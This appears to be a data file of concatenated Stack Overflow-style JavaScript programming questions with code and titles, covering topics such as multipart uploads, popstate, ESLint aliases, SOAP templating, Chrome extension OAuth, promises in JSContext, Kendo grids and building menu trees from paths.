attachOs '' ) MultipartFile attachOs or one dimension array of files @ RequestPart ( `` attachOs '' ) MultipartFile [ ] attachOs everything works fine.Javascript code : My formJson structure is I know that files can not be sent along with JSON that 's why i am constructing the formData above and after that i will delete the attachment property from JSON structureSo my questions :1 . How to fix the bad request issue ? 2 . is there another approach or design pattern to handle this use case ? @ PostMapping ( value = `` /marches '' ) public Integer saveMarches ( @ RequestPart ( `` formJson '' ) FooBean formJson , @ RequestPart ( `` attachOs '' ) MultipartFile [ ] [ ] attachOs ) throws IOException { ... } @ Bean ( name = `` multipartResolver '' ) public CommonsMultipartResolver multipartResolver ( ) { CommonsMultipartResolver multipartResolver = new CommonsMultipartResolver ( ) ; multipartResolver.setMaxUploadSize ( 30000000 ) ; return multipartResolver ; } Resolved [ org.springframework.web.multipart.support.MissingServletRequestPartException : Required request part 'attachOs ' is not present ] const formData = new FormData ( ) ; for ( const [ i , os ] of formJson.os.entries ( ) ) { if ( os.attachment ) { for ( const [ j , file ] of [ ... os.attachment ] .entries ( ) ) { formData.append ( ` attachOs [ $ { i } ] [ $ { j } ] ` , file ) ; } } } ... formData.append ( 'formJson ' , new Blob ( [ JSON.stringify ( formJson ) ] , { type : 'application/json ' } ) ) ; ... axios ( { url : ... , method : 'POST ' , data : formData , } ) ... { // form fields ... os : [ { // os form fields ... attachment : [ { /* File type */ } , ... ] , // multiple files per os } , ... ] }",Issue with sending 2 dimensional array of files "JS : When pushing to history and setting data without changing URL : ... . and then listen to the pop event and trigger it by pressing the Back button in the browser : You will most of the time get null as the state value instead of : How can I solve this and why does this happen ? window.history.pushState ( { stateName : `` myStateName '' , randomData : window.Math.random ( ) } , `` myStateName '' , location.href ) ; window.onpopstate = function ( event ) { console.log ( event.state ) ; //logs null } { stateName : `` myStateName '' , randomData : 0.34234234234 }",Why is event.state on window.onpopstate empty when pushing with same location.href ( or empty ) "JS : In my nextjs project I have mapped path in jsconfig.json to make easy absolute importsMy import paths look like thisimport { VIEW } from ' @ /src/shared/constants ' ; My eslintrc.js has settings specified asI am still getting the error saying ca n't resolve `` @ /what/ever/my/path/is '' How do I make eslint realize the jsconfig path { `` compilerOptions '' : { `` baseUrl '' : `` ./ '' , `` paths '' : { `` @ /* '' : [ `` ./* '' ] } , `` target '' : `` es6 '' , `` module '' : `` commonjs '' , `` experimentalDecorators '' : true } } module.exports = { ... , settings : { `` import/resolver '' : { alias : { extensions : [ `` .js '' ] , map : [ `` @ '' , `` . '' ] } } } }",How to make eslint resolve paths mapped in jsconfig "JS : In an ASP.NET application in which users ( `` User A '' ) can set up their own web service connections using SOAP , I let them insert their own envelope , which , for example , could be something along these lines : At the same time I a `` User B '' that sends an array of data , passed down from Javascript as json that looks a little something like this : This array enters the fray as a string before being deserialized ( dynamic JsonObject = JsonConvert.DeserializeObject ( stringifiedJson ) ; ) .Now , I would like to be able to insert the corresponding values into the envelope , preferably with a degree of security that wo n't allow people to do funky stuff by inserting weird values in the array ( a regex would probably be my last resort ) .So far I 'm aware of the concept to build the string like so ( With the { } 's in the soap message being replaced by { 0 } , { 1 } & { 2 } ) : But the amount of values in this array as well as the might change according to the user 's input as well as a shifting order of references , so I need something more flexible . I 'm very new to making SOAP calls , so as dumb an answer as possible would be appreciated . //Formatted for Claritystring soapMessage = `` < soap : Envelope //StandardStuff > < soap : Header //StandardStuff > < wsse : UsernameToken > < wsse : Username > { F1 } < /wsse : Username > < wsse : Password Type '' > { F2 } < /wsse : Password > < /wsse : UsernameToken > < /soap : Header > < soap : Body > < ref : GetStuff > < ref : IsActive > { F3 } < /ref : IsActive > < /ref : GetStuff > < /soap : Body > < /soap : Envelope > '' [ { key : `` F1 '' , value : `` A '' } , { key : `` F2 '' , value : `` B '' } , { key : `` F3 '' , value : `` C '' } ] ; string value1 = `` A '' ; string value2 = `` B '' ; string value3 = `` C '' ; var body = string.Format ( @ soapMessage , value1 , value2 , value3 ) ; request.ContentType = `` application/soap+xml ; charset=utf-8 '' ; request.ContentLength = body.Length ; request.Accept = `` text/xml '' ; request.GetRequestStream ( ) .Write ( Encoding.UTF8.GetBytes ( body ) , 0 , body.Length ) ;",Inserting Values from an Array into a SOAP Message based on Key "JS : Here is my code : If I replace : by : I get this error in the console : TypeError : permAlone is not a functionWhy ? Thanks for your help ! : ) function permAlone ( string ) { if ( string.length < 2 ) return string ; // This is our break condition var permutations = [ ] ; // This array will hold our permutations for ( var i = 0 ; i < string.length ; i++ ) { var character = string [ i ] ; // Cause we do n't want any duplicates : if ( string.indexOf ( character ) ! = i ) // if char was used already continue ; // skip it this time var remainingString = string.slice ( 0 , i ) + string.slice ( i + 1 , string.length ) ; //Note : you can concat Strings via '+ ' in JS for ( var subPermutation of permAlone ( remainingString ) ) permutations.push ( character + subPermutation ) ; } var permutationsFinal = [ ] ; for ( var j = 0 ; j < ( permutations.length ) ; j++ ) { if ( ! ( permutations [ j ] .match ( / ( [ a-zA-Z ] ) \1/ ) ) ) { permutationsFinal.push ( permutations [ j ] ) ; } } return ( permutationsFinal.length ) ; // ^^^^^^^^ if I add this , the error is thrown } permAlone ( 'abc ' ) ; return ( permutationsFinal ) ; return ( permutationsFinal.length ) ;",Getting `` typeError '' `` is not a function '' when using .length "JS : Trying to learn oauth for my chrome extension using identity api.I have uploaded code to https : //github.com/Sandeep3005/learn-oauth-extensionIssue : When background file runs - it opens a new tab with Gmail login page.But even I provide right credentials login page keep appear again and again and I have to force quit Chrome.A solution provided at Stack Overflow Solution - mentions this occurs when app-ID in chrome is different at app-ID in https : //console.developers.google.com.But I checked and rechecked it.Both values of app-ID is exact.Can anybody guide me on this.manifest.jsonbackground.jsSteps I followed1 . Created basic chrome extension with client-id and key values missing2.Upload ziped extension file to https : //chrome.google.com/webstore/developer/dashboard3.Copied public-key and item-id.4.Create new project at google developer console5 . a ) Create credentials for OAuth Client ID b ) Picked Chrome App as application type c ) Inserted Item-ID I got from webstore developer dashboard in application-ID text field d ) Got Client-ID in return.6 ) Copied this client-ID in manifest.json file and also inserted pulic key here.Wrote code for background.js and ran extension on chrome and boom - I am inside a loop where google ask for email password again , again and again ... Please guide me on this { `` manifest_version '' : 2 , `` name '' : `` outh-test-2 '' , `` short_name '' : `` outh-test-2 '' , `` description '' : `` Description for outh-test-2 '' , `` version '' : `` 1.0 '' , `` background '' : { `` scripts '' : [ `` background.js '' ] , `` persistent '' : true } , `` content_scripts '' : [ { `` run_at '' : `` document_end '' , `` matches '' : [ `` https : //www.dominos.co.in/ '' , `` https : //en.wikipedia.org/* '' ] , `` js '' : [ `` content.js '' ] } ] , `` permissions '' : [ `` identity '' ] , `` oauth2 '' : { `` client_id '' : `` 574710815026-blt94u58ie7jqqanuc73b49mdaqrp9j4.apps.googleusercontent.com '' , `` scopes '' : [ `` http : //www.googleapis.com/auth/drive '' ] } , `` key '' : '' MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmRBFelCyG27kHcy38C/bZXggBPDV3JyKnsunJDfHotUG9QQI6Z+KzoeEdCKK/GvQe7AGTNkkr3FUATGmR1b5MbjzTx90qzg6xsrXSU7mqBgJwYPny+PW46pGRwMSz4FEcLO1vUKD9kIhpSzi+0RJv1IwDx6/SNeQzOxXR5B7dWXTKtbiD9f9Rd5yj9Qfy1Q76iIc8P6afpO1DgT960+yZV4+12tCoC+GZILvK3GBwC0vhkeVsIMWaNkIIzC/0PcbLis2HrfZz6iHcetcv4aY6MAIfQWBxaFbDiXXIhXSvi9zO00w/mc9hLxls4fcivXZdEowgEu0UV4+EJuzL35s2wIDAQAB '' } console.log ( 'Welcome to background Page ' ) ; console.log ( 'chrome Identity = ' , chrome.identity ) ; chrome.identity.getAuthToken ( { interactive : true } , function ( token ) { if ( chrome.runtime.lastError ) { callback ( chrome.runtime.lastError ) ; return ; } access_token = token ; } ) ;",How to solve a never ending loop of login screens when trying to OAuth in chrome extension ? "JS : In QT 4.8.4 I have some arbitrary Javascript being executed via a callback in the c++ : Now , the test script was : which worked , but it took a few seconds to run , and ran up the CPU 100 % .Then while testing I added `` ; console.log ( ' X ' ) '' while debugging the script to see pinpoint the hangup ... And it executed instantly ! I 've found that as long as I 'm logging to the console , the scripts work efficiently as expected . As soon as I remove the console logging the performance slows to a crawl . It does n't matter if I log directly in the script , or add the log in the C++.Any ideas ? I 'd hate to have a hack like below floating around in my program.UPDATE : Looks like this bug is affected by the number of elements on the page . There 's a table , in instances where there 's only one or two rows there 's no CPU run-up . When there 's 600 rows there 's several seconds of maxed-out CPU usage . Again though , as soon as there 's a console.log command on the end there 's no CPU run-up even with 600 rows . ( also added version info to the question ) UPDATE 2 : After testing , I do n't need to pass anything into the console for the hack to work , I do n't even need to call log . I can append `` ; console ; '' to the script and it will still work instantly . I 've also tested adding a return statement to the end , which did n't work . myWebElement- > evaluateJavaScript ( myScript ) ; $ ( this ) .css ( 'border ' , 'solid 10px # 000 ' ) myWebElement- > evaluateJavaScript ( myScript + `` ; console.log ( ' X ' ) '' ) ;",QT : Javascript execution slow ( unless I log to the console ) "JS : I 'm executing a JavaScript SDK from within a JSContext , I ca n't get values out of any of the SDK 's asynchronous functions however . I can get a JavaScript promise out of the JSContext , but I ca n't figure out how to resolve it . I have tried many ways of getting the value from the Promise , but every one has failed.If I try something like the following I get [ object Promise ] back : If I chain then directly onto the JS I get [ object Promise ] still : If I try to invoke the method from Swift , I get still get [ object Promise ] : If I declare a JS variable outside of the Promise , then pass the value to it from a Swift-invoked then call , I get the original value set to it ( as expected but worth a try ) : If I try and use top-level await and resolve the Promise to a variable , then pull that variable out of the JSContext , IU get a EXC_BAD_INSTRUCTION error : Thanks in advance , and sorry if I 'm missing something , still very new to Swift . return self.jsContext.evaluateScript ( `` new Promise ( resolve = > { setTimeout ( 300 , ( ) = > resolve ( [ 1 , 2 , 3 ] ) ) } ) '' ) ! return self.jsContext.evaluateScript ( `` new Promise ( resolve = > { setTimeout ( 300 , ( ) = > resolve ( [ 1 , 2 , 3 ] ) ) } ) .then ( val = > val.json ( ) ) '' ) let jsPromise = self.jsContext.evaluateScript ( `` new Promise ( resolve = > { setTimeout ( 300 , ( ) = > resolve ( [ 1 , 2 , 3 ] ) ) } ) '' ) let promiseResult = jsPromise ? .invokeMethod ( `` then '' , withArguments : [ `` val = > { return val.json ( ) } '' ] ) return promiseResult ! self.jsContext.evaluateScript ( `` let tempVar = 'Nothing has happened yet ! ' '' ) let jsPromise = self.jsContext.evaluateScript ( `` new Promise ( resolve = > { setTimeout ( 300 , ( ) = > resolve ( [ 1 , 2 , 3 ] ) ) } ) '' ) let promiseResult = jsPromise ? .invokeMethod ( `` then '' , withArguments : [ `` val = > { tempVar = val } '' ] ) let tempVar = self.jsContext.evaluateScript ( `` tempVar '' ) return tempVar ! let jsPromise = self.jsContext.evaluateScript ( `` let someVar = await new Promise ( resolve = > { setTimeout ( 300 , ( ) = > resolve ( [ 1 , 2 , 3 ] ) ) } ) '' ) return self.jsContext.evaluateScript ( `` someVar '' ) !",Get value from JS Promise/async function from within a JSContext "JS : I have been using Google Analytics for basic analytics for my web app - just tracking page impressions using javascript calls like this : This approach has always frustrated me because I could n't reliably capture some server-side events . I have just discovered I can use Measurement Protocol to record events server-side . Recording the events on my server looks easy , except regarding the cid ( clientid ) parameter ... What I understand is that on the browser , with the javascript I currently have the cid gets randomly created and then stored in the _ga cookie . I also understand that I should share that clientid/cid value between client ( 'page view ' ) and server ( other events ) calls for the same client so that they are correlated together.This StackOverflow link was a helpful reference for me.Question is : should ICreate a clientid on the server and then share it with the client ; orShould I let the javascript on the client create the clientid and then try to share it with my server ? ( I suspect this is the better answer ) For ( 1 ) , what I was thinking I could do is : Store a UUID in the session on the server ( which is google app engine ) Directly use that UUID when I use Measurement Protocol to create events directly server-sideUse the same UUID when I create a ga object on a page using jsp : The thing that worries me about this approach is that the ID will only persist across the session on the server . I think the intent of the clientId ( cid ) is that it persists for the client over an extended period ... So I think I will lose track of who is new versus returning user ? For ( 2 ) , frankly I do n't know how to do this ... I know from the above StackOverflow link that I can get the cid out of the clientId parameters in the ga object . I do n't know how I would then send it back to my server ( this is probably a simple javascript question ) .Would definitely appreciate advice on which approach to use ... . thank you ! ga ( 'create ' , 'UA-XXXXXXXXX-1 ' , 'mydomain.com ' ) ; ga ( 'send ' , 'pageview ' ) ga ( 'create ' , 'UA-XXXXXXXXX-1 ' , 'mydomain.com ' , { 'clientId ' : ' < % = [ value from the session ] % > ' } ) ;",Sharing Google Analytics ClientID between javascript client and java server JS : i want to authenticate my facebook profile with my website so i can pull infor from the page . i was suggested to one time authenticate with the facebook api through a temp page . somewhat like : i am new to coding facebook apps . but this seems like fbml . how can i use it to authenticate my website with my own profile . i dont need users to log into my website . i just need to pull info from my page . the facebook documentation is sparse and fragmented . all i got for the Login was this code fragment . I dont understand how i can authenticate a weblink through this method.can anyone throw some light ? ? < fb : login-button params= '' some permission '' / > FB.login ( function ( response ) { if ( response.session ) { // user successfully logged in } else { // user cancelled login } } ) ;,one time authentication for weblink with facebook app "JS : In my application I have 4 links with different IDs and 4 DIV with same ID as each link ( I use them for anchor-jumping ) .My current code : Sometime users just scroll to second div id= '' 2 '' first before they click on buttons and when they do so , they are sent to top id= '' 1 '' first instead of continue to next ID id= '' 3 '' .Only one button is visible at a time with use of CSS and when link is clicked , I remove that link.CSSjQueryHow can I achieve so if user scroll down , each link that has same ID as the DIV get removed . For instance : If user scroll down to < div class= '' col-md-12 '' id= '' 1 '' > , < a href= '' # '' id= '' 1 '' class= '' btn '' > One < /a > gets removed and Next link would be < a href= '' # '' id= '' 2 '' class= '' btn '' > Two < /a > to click on.PS : This is for a dynamic page and IDs will change , so we need another selector maybeThis is what I have tried until now , but problem is that it removes all the links and not first one onlyPS : The way HTML & CSS is setup does n't need to like this and I can change it to whatever that will be better for the function < a href= '' # 1 '' id= '' go1 '' class= '' btn '' data-anchor= '' relativeanchor '' > One < /a > < a href= '' # 2 '' id= '' go2 '' class= '' btn '' data-anchor= '' relativeanchor '' > Two < /a > < a href= '' # 3 '' id= '' go3 '' class= '' btn '' data-anchor= '' relativeanchor '' > Three < /a > < a href= '' # 4 '' id= '' go4 '' class= '' btn '' data-anchor= '' relativeanchor '' > Four < /a > < div class= '' col-md-12 each-img '' id= '' 1 '' > < img src= '' img/album-img.png '' > < /div > < div class= '' col-md-12 each-img '' id= '' 2 '' > < img src= '' img/album-img.png '' > < /div > < div class= '' col-md-12 each-img '' id= '' 3 '' > < img src= '' img/album-img.png '' > < /div > < div class= '' col-md-12 each-img '' id= '' 4 '' > < img src= '' img/album-img.png '' > < /div > a.btn { display : none } a.btn a : first-child { display : block ! important ; } $ ( document ) .ready ( function ( ) { $ ( ' a.btn ' ) .click ( function ( ) { $ ( this ) .remove ( ) ; // remove element which is being clicked } ) ; } ) ; $ ( function ( ) { var div = $ ( '.each-img ' ) .offset ( ) .top ; $ ( window ) .scroll ( function ( ) { var scrollTop = $ ( this ) .scrollTop ( ) ; $ ( '.each-img ' ) .each ( function ( ) { if ( scrollTop > = div ) { $ ( `` a.btn : eq ( 0 ) '' ) .remove ( ) ; // $ ( `` a.btn : first-child '' ) .remove ( ) ; } } ) ; } ) ; } ) ;",Remove Link on scroll "JS : I am trying to replace a string starting with a specific symbol ' @ ' with the symbol ' % ' , but the condition is that the symbol should be at the start of the string.For eg . @ @ @ hello @ hi @ @ should be replaced by % % % hello @ hi @ @ I have come up with the regex that matches the starting ' @ ' symbols , but I am able to replace it only once , instead of replacing it with the number of times it matched.The code is But , it outputs % hello @ hi @ @ But , the intended output is % % % hello @ hi @ @ My current solution is something like this : This solution does give me the intended output , but I am worried about the performance . Is there any better way to achieve this ? var str = `` @ @ @ hello @ hi @ @ '' ; var exp = new RegExp ( '^ @ + ' , ' g ' ) ; var mystr = str.replace ( exp , ' % ' ) ; var str = `` @ @ @ hello @ hi @ @ '' ; var match = str.match ( /^ @ +/g ) [ 0 ] ; var new_str = str.replace ( match , `` '' ) ; var diff_count = str.length-new_str.length ; var new_sub_str = Array ( diff_count+1 ) .join ( `` % '' ) var mystr = new_sub_str + new_str ;",Replace string starting with a symbol n times "JS : I do not know if this is a common problem or not . But I have a strange problem in my Ruby on Rails application.For example in Chrome : When I click a link_to or I try to change page it will load , and load , and load and the page wo n't simply open . To open I need to click open in another tab and close the current tab , that way the page will be loaded correctly . I do n't know what the hell is going on , It just started to happen from one moment to another.In Firefox : The problem above does not happen but it does not show me the most recent html unless I refresh with F5 . Then it shows all the content corretly except the first time . I am using Linux to run my project and it is localhost . Both scenarios are very strange and I think they are related somehow . I already cleared both caches in both browsers.Update : As suggested made a search for turbo links . I have the gem installed but the only place where I am using turbo links is in application.html.erb.Example : When I click the Sign In property which is : The call is pending and does not move ( at Chrome ) , here is a picture of the network : There is no prints at my console logs , nothing it just gets stuck and do nothing . < % = stylesheet_link_tag 'application ' , media : 'all ' , 'data-turbolinks-track ' = > true % > < % = javascript_include_tag 'application ' , 'data-turbolinks-track ' = > true % > < li > < % = link_to `` Sign up '' , new_member_registration_path , : class = > 'navbar-link ' % > < /li >",Ruby on Rails requests pending on Google Chrome "JS : Looking at this sample : Result : [ `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' , `` 5 '' ] But looking at this sample : Result : [ `` 1 '' , `` , '' , `` 2 '' , `` , '' , `` 3 '' , `` , '' , `` 4 '' , `` , '' , `` 5 '' ] From MDN : If separator is a regular expression that contains capturing parentheses , then each time separator is matched , the results ( including any undefined results ) of the capturing parentheses are spliced into the output array . However , not all browsers support this capability.Question : Where can I find the list of browsers ( and versions ) which supports that feature.mdn does n't expose that info . > ' 1,2,3,4,5'.split ( / , / ) > ' 1,2,3,4,5'.split ( / ( , ) / )",Regex split by capturing parentheses - browser support : "JS : All , I 've got the following code : This is populated with the following code : My page loads fine without the javascript portion . However when I add the javascript I get the following error : I actually narrowed it down even further and this line is the one causing the error : Here is the complete code for the addLoadEvent ( loadMap ) : Any ideas why that would cause an error ? < script type= '' text/javascript '' > function Store ( lat , long , text ) { this.latitude = lat ; this.longitude = long ; this.html = text ; } var myStores = [ < ? php echo $ jsData ; ? > , null ] ; addLoadEvent ( loadMap ) ; $ lat = $ post- > latitude ; $ long = $ post- > longitude ; $ post_id = $ post- > ID ; $ get_post_info = get_post ( $ post_id ) ; $ name = $ get_post_info- > post_title ; $ jsData = $ jsData . `` new Store ( $ lat , $ long , ' $ name ' ) , \n '' ; User Agent : Mozilla/4.0 ( compatible ; MSIE 8.0 ; Windows NT 6.1 ; Trident/4.0 ; SLCC2 ; .NET CLR 2.0.50727 ; .NET CLR 3.5.30729 ; .NET CLR 3.0.30729 ; Media Center PC 6.0 ; InfoPath.3 ; .NET4.0C ; .NET4.0E ; MS-RTC LM 8 ; AskTbAD2/5.14.1.20007 ) Timestamp : Wed , 22 Feb 2012 16:45:35 UTCMessage : Arg : Illegal input string in Vector2DLine : 68Char : 63Code : 0URI : http : //localhost/wordpress/wp-content/themes/parallelus-mingle/assets/css/PIE.htc addLoadEvent ( loadMap ) ; < script type= '' text/javascript '' src= '' http : //maps.google.com/maps/api/js ? sensor=false '' > < /script > < script type= '' text/javascript '' > function addLoadEvent ( func ) { var oldonload = window.onload ; if ( typeof window.onload ! = 'function ' ) { window.onload = func } else { window.onload = function ( ) { oldonload ( ) ; func ( ) ; } } } var map , infowin=new google.maps.InfoWindow ( { content : 'moin ' } ) ; function loadMap ( ) { map = new google.maps.Map ( document.getElementById ( 'map ' ) , { zoom : 12 , mapTypeId : google.maps.MapTypeId.ROADMAP , center : new google.maps.LatLng ( < ? php echo $ _SESSION [ 'pav_event_latitude ' ] ; ? > , < ? php echo $ _SESSION [ 'pav_event_longitude ' ] ; ? > ) } ) ; addPoints ( myStores ) ; } function addPoints ( points ) { var bounds=new google.maps.LatLngBounds ( ) ; for ( var p = 0 ; p < points.length ; ++p ) { var pointData = points [ p ] ; if ( pointData == null ) { map.fitBounds ( bounds ) ; return ; } var point = new google.maps.LatLng ( pointData.latitude , pointData.longitude ) ; bounds.union ( new google.maps.LatLngBounds ( point ) ) ; createMarker ( point , pointData.html ) ; } map.fitBounds ( bounds ) ; } var number = 2 ; // or whatever you want to do herefunction createMarker ( point , popuphtml ) { var popuphtml = `` < div id=\ '' popup\ '' > '' + popuphtml + `` < \/div > '' ; var marker = new google.maps.Marker ( { position : point , map : map , icon : 'https : //chart.googleapis.com/chart ? chst=d_map_pin_letter & chld='+number+'|FF776B|000000 ' , shadow : 'https : //chart.googleapis.com/chart ? chst=d_map_pin_shadow ' } ) ; google.maps.event.addListener ( marker , 'click ' , function ( ) { infowin.setContent ( popuphtml ) infowin.open ( map , marker ) ; } ) ; } < /script >",Javascript/Google Maps causing PIE.htc errors "JS : I 'm trying to do something relatively simple , but having an issue that is driving me mad , I 'm sure I am missing something simple.I have an AngularJS site that 's for the most part working fine , and in that I have a Kendo Grid . All I am trying to do is have the first column of the grid have a link to another page , using an ID that is in the grid data.The code I am using is below , and this works in that it creates a link mostly based on what I am asking but for some weird reason the ID it uses as part of the URL is being rounded up . To give you an example the actual ID I need to use is 37509488620601829 , this is what is returned by my API and what is shown if I make the ID field a column in my table , but in the link this gets rounded up to 37509488620601830 ( note the last 2 digits ) . Any insight on this is appreciated . < div kendo-grid k-data-source= '' SearchResultsGrid '' k-columns= '' [ { 'field ' : 'Name ' , 'title ' : 'Name ' , 'template ' : ' < a ui-sref= & quot ; Id ( { Id : # : Id # } ) & quot ; > # : Name # < /a > ' } , { 'field ' : 'Alias ' , 'title ' : 'Alias ' } , { 'field ' : 'Server ' , 'title ' : 'Server ' } , { 'field ' : 'Faction ' , 'title ' : 'Faction ' } ] '' > < /div >",Kendo Grid and ui-sref rounding up number "JS : How to check if two indexes of a square matrix are diagonal to each other . Consider the array . Create a function which takes three parameters array and two indexes . It should return a true if two indexes are diagonal to each other otherwise return false For above array.I have tried to create a function but it doesnot work at all.Can some give a simple solution to it . [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 ] 0,15 = > true3,12 = > true11,6 = > true9,6 = > true4,15 = > false8,12 = > false1,10 = > false //my code fails for this . function check ( arr , a , b ) { let len = Math.sqrt ( arr.length ) ; let dif = Math.abs ( a-b ) ; return dif % ( len+1 ) === 0 || dif % ( len - 1 ) === 0 }",How to get diagonal numbers between two number in a matrix ? "JS : I have a JavaScript class that looks like this : This code throws an error because the scope of `` this '' inside the function that is passed into doSomething ( ) is different that than the scope of `` this '' outside of that function . I understand why this is , but what 's the best way to deal with this ? This is what I end up doing : That works fine , but it just feels like a hack . Just wondering if someone has a better way . function SomeFunction ( ) { this.doSomething ( function ( ) { this.doSomethingElse ( ) ; } ) ; this.doSomethingElse = function ( ) { } } function SomeFunction ( ) { var thisObject = this ; this.doSomething ( function ( ) { thisObject.doSomethingElse ( ) ; } ) ; this.doSomethingElse = function ( ) { } }",Scope of `` this '' in JavaScript "JS : I 'm converting an Angular app to use TypeScript , but this is a general TypeScript question , not about Angular.The angular js files are along the lines : And I have converted that to lovely TypeScript class syntax : All works fine , except the generated JS is not wrapped according to the JS module pattern ( i.e . in an outer anonymous function ) : So myController is now global . If I put the class in a TypeScript module , then the js generates with the module name as a global variable : How do I stop TypeScript polluting the global scope in this way ? I just want it all wrapped in a nice local scope.I have seen it said elsewhere `` just go back to the old JS syntax '' ( i.e . no TypeScript class ) .How can I define an AngularJS service using a TypeScript class that does n't pollute the global scope ? But the whole point of us using TypeScript /is/ the class syntax . Is TypeScript at odds with any ( sensible ) JS programmer who knows not to go global ? ( function ( ) { var app = angular.module ( 'myModule ' , [ ] ) ; app.controller ( 'myController ' , [ ' $ scope ' , function ( $ scope ) { $ scope.myNewProperty = `` Bob '' ; } ] ) ; } ) ( ) ; class myController { constructor ( $ scope ) { $ scope.myNewProperty = `` Bob '' ; } } angular.module ( 'myModule ' , [ ] ) .controller ( `` myController '' , myController ) ; var myController = ( function ( ) { app.controller ( 'myController ' , [ ' $ scope ' , function ( $ scope ) { $ scope.myNewProperty = `` Bob '' ; } ] ) ; } ) ( ) ; var app = angular.module ( 'myModule ' , [ ] ) ; var TsModule ; ( function ( TsModule ) { var myController = ( function ( ) { app.controller ( 'myController ' , [ ' $ scope ' , function ( $ scope ) { $ scope.myNewProperty = `` Bob '' ; } ] ) ; } ) ( ) ; var app = angular.module ( 'myModule ' , [ ] ) ; } ) ( TsModule || ( TsModule = { } ) ) ;",TypeScript - she 's got ta have it ? ( where it == global scope ) "JS : I was checking the code of respons.js in express and came across this code : My question is what does the ~ operator do in front of the type.indexOf ( ) statement ? What is its purpose and when is it used ? res.contentType =res.type = function ( type ) { return this.set ( 'Content-Type ' , ~type.indexOf ( '/ ' ) ? type : mime.lookup ( type ) ) ; } ;",Interpretation of javascript code - Tilde symbol in front of ternary IF operator "JS : Guys am trying to create a dynamic menu list . There is no limit to the depth of elements that can be created by a user . MY PROBLEMMy set of URL looks like thisI want the titles to be in a hierarchy format which I eventually will render in form of ul > li to create the menu - in front-end.The Hierarchy should be something like this : WHAT I TRIEDAnd the result it yields is this : The elements `` T Shirt '' and `` Shirt '' is pushed inside the Food 's children : [ ] which those should be inside Cloth 's children : [ ] The solution I have used is taken from HereI trying to derive an algorithm myself- but its not clicked exactly right yet . Please help if any one already has a solution . In case if I can derive a solution myself , I will share it here.above code isThanks var json_data = [ { `` title '' : `` Food '' , `` path '' : `` /root '' , } , { `` title '' : `` Cloths '' , `` path '' : `` /root '' , } , { `` title '' : `` Veg '' , `` path '' : `` /root/Food '' , } , { `` title '' : `` Brinjal '' , `` path '' : `` /root/Food/Veg '' , } , { `` title '' : `` T shirt '' , `` path '' : `` /root/Cloths '' , } , { `` title '' : `` Shirt '' , `` path '' : `` /root/Cloths '' , } , { `` title '' : `` Green brinjal '' , `` path '' : `` /root/Food/Veg/Brinjal '' , } ] ; [ { `` title '' : `` Food '' , `` path '' : `` /root '' , `` children '' : [ { `` title '' : `` Veg '' , `` path '' : `` /root/Food '' , `` children '' : [ { `` title '' : `` Brinjal '' , `` path '' : `` /root/Food/Veg '' , `` children '' : [ { `` title '' : `` Green brinjal '' , `` path '' : `` /root/Food/Veg/Brinjal '' , `` children '' : [ ] } ] } ] } ] } , { `` title '' : `` Cloths '' , `` path '' : `` /root '' , `` children '' : [ { `` title '' : `` T shirt '' , `` path '' : `` /root/Cloths '' , `` children '' : [ ] } , { `` title '' : `` Shirt '' , `` path '' : `` /root/Cloths '' , `` children '' : [ ] } ] } ] // Add an item node in the tree , at the right position function addToTree ( node , treeNodes ) { // Check if the item node should inserted in a subnode for ( var i=0 ; i < treeNodes.length ; i++ ) { var treeNode = treeNodes [ i ] ; // `` /store/travel '' .indexOf ( '/store/ ' ) if ( node.path.indexOf ( treeNode.path + '/ ' ) == 0 ) { addToTree ( node , treeNode.children ) ; // Item node was added , we can quit return ; } } // Item node was not added to a subnode , so it 's a sibling of these treeNodes treeNodes.push ( { title : node.title , path : node.path , children : [ ] } ) ; } //Create the item tree starting from menuItems function createTree ( nodes ) { var tree = [ ] ; for ( var i=0 ; i < nodes.length ; i++ ) { var node = nodes [ i ] ; addToTree ( node , tree ) ; } return tree ; } // variable = `` json_data '' is the set of URLSvar menuItemsTree = createTree ( json_data ) ; console.log ( menuItemsTree ) [ { `` title '' : `` Food '' , `` path '' : `` /root '' , `` children '' : [ { `` title '' : `` Veg '' , `` path '' : `` /root/Food '' , `` children '' : [ { `` title '' : `` Brinjal '' , `` path '' : `` /root/Food/Veg '' , `` children '' : [ { `` title '' : `` Green brinjal '' , `` path '' : `` /root/Food/Veg/Brinjal '' , `` children '' : [ ] } ] } ] } , { `` title '' : `` T shirt '' , `` path '' : `` /root/Cloths '' , `` children '' : [ ] } , { `` title '' : `` Shirt '' , `` path '' : `` /root/Cloths '' , `` children '' : [ ] } ] } , { `` title '' : `` Cloths '' , `` path '' : `` /root '' , `` children '' : [ ] } ]",Javascript deriving a Tree from a set of URLs "JS : i have a standard HTML5 document width a audio-Tag sourced to a streaming-url.It works fine in Chrome , Firefox and mobile Safari , but Safari on OSX says : Blocked script execution in 'http : //localhost/audiostream/ ' because the document 's frame is sandboxed and the 'allow-scripts ' permission is not set . Sandboxing ' [ URL : PORT ] ' because it is using HTTP/0.9 . Cancelled resource load from ' [ URL : PORT ] ' because it is using HTTP/0.9 and the document was loaded with a different HTTP version . Failed to load resource : Cancelled resource load from ' [ URL : PORT ] ' because it is using HTTP/0.9 and the document was loaded with a different HTTP version.Anybody knows whats wrong ? < audio controls= '' controls '' autostart= '' 0 '' src= '' [ URL : PORT ] / ; '' > < /audio > < script type= '' text/javascript '' > window.addEventListener ( `` play '' , function ( evt ) { if ( window. $ _currentlyPlaying ) { window. $ _currentlyPlaying.pause ( ) ; } window. $ _currentlyPlaying = evt.target ; } , true ) ; < /script >",HTML5 < audio > stream OSX Safari ERROR "JS : If I want to refer to my angular controller function from a template , I should put the function in $ scope , like this : But what about other functions ( and controller variables that I do n't need to be watched ) , the ones that I will not reference in templates . Should I put them all in ' $ scope ' too ? Is n't it bad for performance ? Is there any gotchas in declaring such functions outside of $ scope ? [ template ] < button ng-click= '' doSomething ( ) '' > < /button > [ controller ] $ scope.doSomething = function ( ) { } ;",AngularJS controller functions best practices "JS : How can I efficiently send a list of arguments into an Emscripten Web Worker from native JavaScript ? My data ( set of arguments ) is an inhomogeneous combination of large arrays of Float32Array , UInt16Array , int , etc . The example below works , but I can not use a list , dictionary , or any other way of making a tuple of TypedArrays mixed with int . Currently , unless the input is one single TypedArray , it is converted into a few bytes . For example , the following line will send three single bytes , one for each argument.My question is in fact , how to encode a tuple into a C struct . I can use libraries such as struct.js but they will be inefficient ( needs conversion , and the 